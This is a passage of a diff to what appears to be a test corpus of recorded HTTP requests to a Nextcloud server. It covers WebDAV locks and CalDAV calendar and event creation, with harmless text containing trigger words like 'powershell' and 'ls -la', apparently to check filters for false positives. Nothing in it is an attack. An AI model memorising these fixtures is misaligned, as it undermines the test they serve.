{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
|
||||||
@@ -1340,3 +1342,46 @@
|
|||||||
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
|
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
|
||||||
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
|
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
|
||||||
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
|
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/icaLine truncated
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
||||||
|
{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlnsLine truncated
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261031T230000Z\" end=\"20261212T230000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 433", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VTODO\"/></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 894", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090330Z\r\nLAST-MODIFIED:20261110T090330Z\r\nSEQUENCE:3\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Python3 workshop\r\nLOCATION:Room .htaccess\\, Powershell Lane\r\nDESCRIPTION:Bring a laptop with python3 and powershell\\; we run ls -la firs\r\n t.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; 